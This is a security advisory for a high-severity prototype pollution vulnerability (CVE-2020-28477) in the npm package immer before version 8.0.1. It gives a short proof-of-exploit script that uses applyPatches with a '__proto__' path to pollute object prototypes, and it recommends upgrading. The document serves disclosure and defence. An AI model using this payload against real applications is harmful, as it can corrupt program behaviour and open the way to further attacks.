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Prototype Pollution in immer

high severity Published Jan 20, 2021

Package

npm immer (npm)

Affected versions

< 8.0.1

Patched versions

8.0.1

Description

Overview

Affected versions of immer are vulnerable to Prototype Pollution.

Proof of exploit

const {applyPatches, enablePatches} = require("immer");
enablePatches();
let obj = {};
console.log("Before : " + obj.polluted);
applyPatches({}, [ { op: 'add', path: [ "__proto__", "polluted" ], value: "yes" } ]);
// applyPatches({}, [ { op: 'replace', path: [ "__proto__", "polluted" ], value: "yes" } ]);
console.log("After : " + obj.polluted);

Remediation

Version 8.0.1 contains a fix for this vulnerability, updating is recommended.

References

CVE ID

CVE-2020-28477